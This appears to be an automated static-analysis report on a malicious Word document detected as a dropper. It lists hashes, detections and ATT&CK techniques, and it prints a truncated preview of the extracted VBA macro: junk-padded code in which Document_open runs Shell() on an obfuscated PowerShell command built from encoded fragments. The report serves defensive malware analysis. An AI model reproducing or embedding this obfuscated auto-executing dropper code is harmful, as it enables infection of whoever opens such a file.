Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32bbbe9e913054ba…

MALICIOUS

Office (OLE)

112.5 KB Created: 2018-06-19 07:00:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 4222eb0aaf76b788d07d411673911695 SHA-1: 3fae4062f18ad138a609da44111697a093b0641b SHA-256: 32bbbe9e913054ba09dcee52cbcd8b755ea77d8655567387baf28e343d0513ae
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This function is used to execute external commands, and the script attempts to construct and run a PowerShell command. The ClamAV detection name 'Doc.Dropper.Agent-6592524-0' suggests its function as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6592524-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6592524-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11453 bytes
SHA-256: 5f1cecd244ab966f4dab3567ccb516f9fd2b4315cd532282941e814aa93eb598
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "obnJZKiNAqrE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function OUpsY()
On Error Resume Next
EoQDZQ = CByte(BKTJjR)
ulCaR = 84406
KOYoiD = 77911
fwKWfz = YwLhDX
qNaPD = CDate(36627)
ZkcAH = CDate(nrAGO + Sin(30970 + 80998) * 5741 * CInt(26221))
TbRcju = CByte(twcco)
SKqKJ = 25108
qkQuc = 49319
rhrUbL = PkBWk
BvZjT = CDate(48021)
ArBYKs = CDate(dzfVni + Sin(57659 + 60566) * 68252 * CInt(29839))
FZWMJJ = CByte(rFjPqX)
SnSptR = 13031
jirbln = 80407
bzOsL = MjVXf
IbGPZi = CDate(6222)
jDJWH = CDate(PBaKF + Sin(24935 + 18187) * 21339 * CInt(59232))
ElKlz = CByte(wncQKG)
CnBYc = 7943
mRzEmI = 71278
Lmiunq = LbjTc
qaAkY = CDate(46787)
wTdbW = CDate(LHnwq + Sin(30883 + 14130) * 17225 * CInt(16239))
OUpsY = GVicG + Chr$(jTMrAVmXiXf + 80 + ZJMtd) + "OwerSH" + EwcQq + KiIzfvfd + jJQiQOQu + KATcFMQSPzI
ZuzMhb = CByte(zqiiFD)
iPbko = 99826
JwBii = 58500
AwTIaH = hqiaa
ApBjf = CDate(2102)
rLUAXq = CDate(WGJwqj + Sin(72972 + 62845) * 63872 * CInt(13557))
OUfTIu = CByte(iDLjlN)
KlLbk = 40274
ENqWmb = 41986
jNivp = zRPUlQ
qAuwfH = CDate(79911)
iDzCuk = CDate(msXFb + Sin(78243 + 24201) * 21355 * CInt(27738))
End Function
Function UImzUNqbFb(HUtIAZm)
On Error Resume Next
lIdoji = CByte(tLwsEA)
zEPQT = 21722
GrozqD = 10829
zETfau = VTVol
iPdVNT = CDate(84114)
SajsMj = CDate(OfWnR + Sin(61293 + 14680) * 82036 * CInt(93060))
FWZhlN = CByte(XGrfL)
STkwQV = 31897
jEUGZ = 10097
IscQt = XtQaIP
sKVck = CDate(31974)
cjRnqw = CDate(kjiJYG + Sin(72767 + 27316) * 97390 * CInt(28955))
nTOtMsqIwG = wwAZPKCXC + Shell(sYkaYsMrYB + HUtIAZm + dZDHqhHP, 55478 - 55478)
FliMG = CByte(cXTMm)
qpfdoY = 66590
YCUJF = 75184
wwIvEj = unlWt
PzfHb = CDate(39319)
dTmfo = CDate(cNTMwb + Sin(41129 + 29754) * 32210 * CInt(78157))
End Function
Private Sub Document_open()
On Error Resume Next
UkREw = CByte(ALfLT)
GpSdL = 17348
UoKWrA = 44854
JVhYlJ = XIpjA
mklBH = CDate(12035)
InwHL = CDate(dVYGi + Sin(60764 + 68830) * 90575 * CInt(41635))
AjjdR = CByte(bfZii)
cFuUm = 53269
QrwXmh = 45003
CiitI = oJAwzd
aZzWdd = CDate(76453)
STIsu = CDate(KjQnDw + Sin(65238 + 17007) * 42835 * CInt(54659))
Application.Run kKuonWkBN + "UImzUNqbFb" + hwpBvviT, AdRZFGVZzR + OUpsY + cuIYBiiv
RRDWPb = CByte(JKJiTi)
iTtvPm = 59639
hPTjHv = 28555
TpwpN = zDIoRj
BMDhXL = CDate(99875)
WoFOT = CDate(lwtwJ + Sin(49515 + 68329) * 60456 * CInt(87608))
JJKVTw = CByte(hPKwt)
BHiXM = 31071
TFEzTT = 65969
NuThEZ = BZQvc
BFiwEG = CDate(22960)
qqckio = CDate(hRRAM + Sin(30303 + 87721) * 99115 * CInt(58286))
End Sub


Attribute VB_Name = "oIwzzswjZHGA"
Function EwcQq()
On Error Resume Next
AVUtVw = CDate(Umrwm + Sin(24599 + 89510) * 77955 * CInt(21208))
zDqnzT = HAESPW
BjfEZJ = CDate(29475)
Bvbpb = 95356
SiMEO = 15478
FkciH = CByte(zjDzAw)
uqqPCtBzQG = "ell" + " . ((geT" + "-vaRiaBlE '*MD" + "r*').Name[3," + "11" + ",2]-joIn'') (-" + "JOIn ( '"
ApZCr = CDate(QubjL + Sin(86060 + 94965) * 44554 * CInt(95786))
vwqMJ = BMiDR
UslEPa = CDate(62329)
mnvMQI = 2948
KHBhVF = 55595
dGuUY = CByte(GYLDCa)
NjTwIk = "40A103q109H" + "94&102H10" + "4x102x44<49E44" + "r98u1" + "05A123q3" + "3q99A" + "110&102x1" + "05&111q" + "12" + "0x44"
fdXru = CDate(CdRcWj + Sin(31387 + 59084) * 40287 * CInt(1472))
UAwwk = AKddHw
oNUnuV = CDate(70110)
VRjNq = 56872
TUtRrN = 18535
Wrhozu = CByte(JQkUu)
LpnqR = "q126x109H98q1" + "04u99" + "k97E55A40q" + "64<77k104A66u1" + "23r44q49" + "q44A98E1" + "05<123k" + "33E99q110q1" + "02u105u111<120x" + "44x95E117q"
wnHrTR = CDate(kSloCw + Sin(88852 + 37646) * 28831 * CInt(55291))
tAFww = mPmKQz
QDujYJ = CDate(2102)
DNLjwH = 96360
wzbkW = 71779
jJsUY = CByte(UnUujW)
wXZMP = "127<120E105" + "r97A34A66k105" + "r120&34r" + "91q105k1"
FUKzdz = CDate(kRCun + Sin(78406 + 36772) * 60072 * CInt(30234))
lwWiwt = iKYBiG
EDicUS = CDate(22655)
EIiDBJ = 84741
jzBOPM =
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.